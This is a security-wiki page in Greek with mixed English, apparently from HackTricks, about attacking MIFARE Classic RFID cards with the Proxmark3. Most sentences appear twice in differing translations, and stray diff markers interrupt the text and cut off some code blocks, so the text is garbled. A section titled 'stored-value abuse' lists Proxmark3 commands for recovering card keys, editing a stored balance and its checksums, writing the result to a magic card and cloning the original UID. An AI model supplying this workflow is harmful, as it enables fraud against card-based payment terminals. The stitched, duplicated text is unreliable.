Το πρώτο πράγμα που πρέπει να κάνετε είναι να έχετε ένα [**Proxmark3**](https://proxmark.com) και [**να εγκαταστήσετε το λογισμικό και τις εξαρτήσεις του**](https://github.com/Proxmark/proxmark3/wiki/Kali-Linux)[**s**](https://github.com/Proxmark/proxmark3/wiki/Kali-Linux).
Το πρώτο πράγμα που πρέπει να κάνετε είναι να έχετε ένα [**Proxmark3**](https://proxmark.com) και να [**install the software and it's dependencie**](https://github.com/Proxmark/proxmark3/wiki/Kali-Linux)[**s**](https://github.com/Proxmark/proxmark3/wiki/Kali-Linux).
### Επίθεση σε MIFARE Classic 1KB
Έχει **16 τομείς**, ο καθένας από τους οποίους έχει **4 μπλοκ** και κάθε μπλοκ περιέχει **16B**. Το UID βρίσκεται στον τομέα 0 μπλοκ 0 (και δεν μπορεί να αλλάξει).\
Για να αποκτήσετε πρόσβαση σε κάθε τομέα χρειάζεστε **2 κλειδιά** (**A** και **B**) που αποθηκεύονται στο **μπλοκ 3 κάθε τομέα** (trailer τομέα). Το trailer τομέα αποθηκεύει επίσης τα **bits πρόσβασης** που δίνουν τις **άδειες ανάγνωσης και εγγραφής** σε **κάθε μπλοκ** χρησιμοποιώντας τα 2 κλειδιά.\
2 κλειδιά είναι χρήσιμα για να δώσουν άδειες ανάγνωσης αν γνωρίζετε το πρώτο και εγγραφής αν γνωρίζετε το δεύτερο (για παράδειγμα).
Έχει **16 sectors**, κάθε ένα από αυτά έχει **4 blocks** και κάθε block περιέχει **16B**. Το UID είναι στο sector 0 block 0 (και δεν μπορεί να αλλαχθεί).\
Για να αποκτήσετε πρόσβαση σε κάθε sector χρειάζεστε **2 keys** (**A** και **B**) που αποθηκεύονται στο **block 3 of each sector** (sector trailer). Το sector trailer αποθηκεύει επίσης τα **access bits** που δίνουν τα δικαιώματα **read and write** σε **each block** χρησιμοποιώντας τα 2 keys.\
Τα 2 keys είναι χρήσιμα για να δώσουν δικαιώματα ανάγνωσης αν γνωρίζετε το πρώτο και εγγραφής αν γνωρίζετε το δεύτερο (για παράδειγμα).
Μπορούν να εκτελούνται πολλές επιθέσεις
Πολλές επιθέσεις μπορούν να πραγματοποιηθούν
```bash
proxmark3> hf mf #List attacks
@ -31,11 +31,39 @@ proxmark3> hf mf eset 01 000102030405060708090a0b0c0d0e0f # Write those bytes to
proxmark3> hf mf eget 01 # Read block 1
proxmark3> hf mf wrbl 01 B FFFFFFFFFFFF 000102030405060708090a0b0c0d0e0f # Write to the card
```
Το Proxmark3 επιτρέπει την εκτέλεση άλλων ενεργειών όπως **παρακολούθηση** μιας **επικοινωνίας Tag προς Reader** για να προσπαθήσετε να βρείτε ευαίσθητα δεδομένα. Σε αυτή την κάρτα μπορείτε απλώς να καταγράψετε την επικοινωνία και να υπολογίσετε το χρησιμοποιούμενο κλειδί επειδή οι **κρυπτογραφικές λειτουργίες που χρησιμοποιούνται είναι αδύναμες** και γνωρίζοντας το απλό και το κρυπτογραφημένο κείμενο μπορείτε να το υπολογίσετε (εργαλείο `mfkey64`).
The Proxmark3 allows to perform other actions like **eavesdropping** a **Tag to Reader communication** to try to find sensitive data. Σε αυτήν την κάρτα μπορείτε απλά να sniff την επικοινωνία και να υπολογίσετε το χρησιμοποιημένο κλειδί επειδή οι **χρησιμοποιούμενες κρυπτογραφικές λειτουργίες είναι αδύναμες** και γνωρίζοντας το απλό και το κρυπτογραφημένο κείμενο μπορείτε να το υπολογίσετε (`mfkey64` tool).
#### MiFare Classic quick workflow for stored-value abuse
Όταν τα terminals αποθηκεύουν υπόλοιπα σε Classic κάρτες, μια τυπική end-to-end ροή είναι:
```bash
# 1) Recover sector keys and dump full card
proxmark3> hf mf autopwn
# 2) Modify dump offline (adjust balance + integrity bytes)
# Use diffing of before/after top-up dumps to locate fields
# 3) Write modified dump to a UID-changeable ("Chinese magic") tag
proxmark3> hf mf cload -f modified.bin
# 4) Clone original UID so readers recognize the card
proxmark3> hf mf csetuid -u <original_uid>
```
Σημειώσεις
- `hf mf autopwn` ορχηστρώνει nested/darkside/HardNested-style attacks, ανακτά κλειδιά και δημιουργεί dumps στον φάκελο client dumps.
- Η εγγραφή του block 0/UID λειτουργεί μόνο σε magic gen1a/gen2 κάρτες. Οι κανονικές Classic κάρτες έχουν UID μόνο για ανάγνωση.
- Πολλές υλοποιήσεις χρησιμοποιούν Classic "value blocks" ή απλούς checksums. Βεβαιώσου ότι όλα τα διπλότυπα/συμπληρωματικά πεδία και τα checksums είναι συνεπή μετά την επεξεργασία.
See a higher-level methodology and mitigations in:
{{#ref}}
pentesting-rfid.md
{{#endref}}
### Ακατέργαστες Εντολές
Τα συστήματα IoT μερικές φορές χρησιμοποιούν **μη επώνυμα ή μη εμπορικά tags**. Σε αυτή την περίπτωση, μπορείτε να χρησιμοποιήσετε το Proxmark3 για να στείλετε προσαρμοσμένες **ακατέργαστες εντολές στα tags**.
Τα συστήματα IoT μερικές φορές χρησιμοποιούν **μη επωνυμικά ή μη εμπορικά tags**. Σε αυτή την περίπτωση, μπορείς να χρησιμοποιήσεις το Proxmark3 για να στείλεις προσαρμοσμένες **raw commands στα tags**.
```bash
proxmark3> hf search UID : 80 55 4b 6c ATQA : 00 04
SAK : 08 [2]
@ -45,14 +73,21 @@ No chinese magic backdoor command detected
Prng detection: WEAK
Valid ISO14443A Tag Found - Quiting Search
```
Με αυτές τις πληροφορίες μπορείτε να προσπαθήσετε να αναζητήσετε πληροφορίες σχετικά με την κάρτα και για τον τρόπο επικοινωνίας μαζί της. Το Proxmark3 επιτρέπει την αποστολή ωμών εντολών όπως: `hf 14a raw -p -b 7 26`
Με αυτές τις πληροφορίες μπορείτε να προσπαθήσετε να αναζητήσετε πληροφορίες για την κάρτα και για τον τρόπο επικοινωνίας μαζί της. Το Proxmark3 επιτρέπει την αποστολή raw εντολών όπως: `hf 14a raw -p -b 7 26`
### Scripts
### Σενάρια
Το λογισμικό Proxmark3 έρχεται με μια προφορτωμένη λίστα **αυτοματοποιημένων σεναρίων** που μπορείτε να χρησιμοποιήσετε για να εκτελέσετε απλές εργασίες. Για να ανακτήσετε τη πλήρη λίστα, χρησιμοποιήστε την εντολή `script list`. Στη συνέχεια, χρησιμοποιήστε την εντολή `script run`, ακολουθούμενη από το όνομα του σεναρίου:
Το λογισμικό Proxmark3 περιλαμβάνει μια προφορτωμένη λίστα με **σενάρια αυτοματισμού** που μπορείτε να χρησιμοποιήσετε για να εκτελέσετε απλές εργασίες. Για να λάβετε την πλήρη λίστα, χρησιμοποιήστε την εντολή `script list`. Στη συνέχεια, χρησιμοποιήστε την εντολή `script run`, ακολουθούμενη από το όνομα του script:
```
proxmark3> script run mfkeys
```
Μπορείτε να δημιουργήσετε ένα σενάριο για **fuzz tag readers**, οπότε αντιγράψτε τα δεδομένα μιας **έγκυρης κάρτας** απλά γράφοντας ένα **Lua script** που **τυχαία** ένα ή περισσότερα τυχαία **bytes** και ελέγξτε αν ο **αναγνώστης καταρρέει** με οποιαδήποτε επανάληψη.
Μπορείτε να δημιουργήσετε ένα script για **fuzz tag readers**, οπότε, για να αντιγράψετε τα δεδομένα μιας **valid card** απλά γράψτε ένα **Lua script** που **randomize** ένα ή περισσότερα τυχαία **bytes** και ελέγξτε αν ο **reader crashes** σε κάποια επανάληψη.
## Αναφορές
- [Proxmark3 wiki: HF MIFARE](https://github.com/RfidResearchGroup/proxmark3/wiki/HF-Mifare)
- [Proxmark3 wiki: HF Magic cards](https://github.com/RfidResearchGroup/proxmark3/wiki/HF-Magic-cards)
- [NXP statement on MIFARE Classic Crypto1](https://www.mifare.net/en/products/chip-card-ics/mifare-classic/security-statement-on-crypto1-implementations/)
- [NFC card vulnerability exploitation in KioSoft Stored Value (SEC Consult)](https://sec-consult.com/vulnerability-lab/advisory/nfc-card-vulnerability-exploitation-leading-to-free-top-up-kiosoft-payment-solution/)
{{#include ../../banners/hacktricks-training.md}}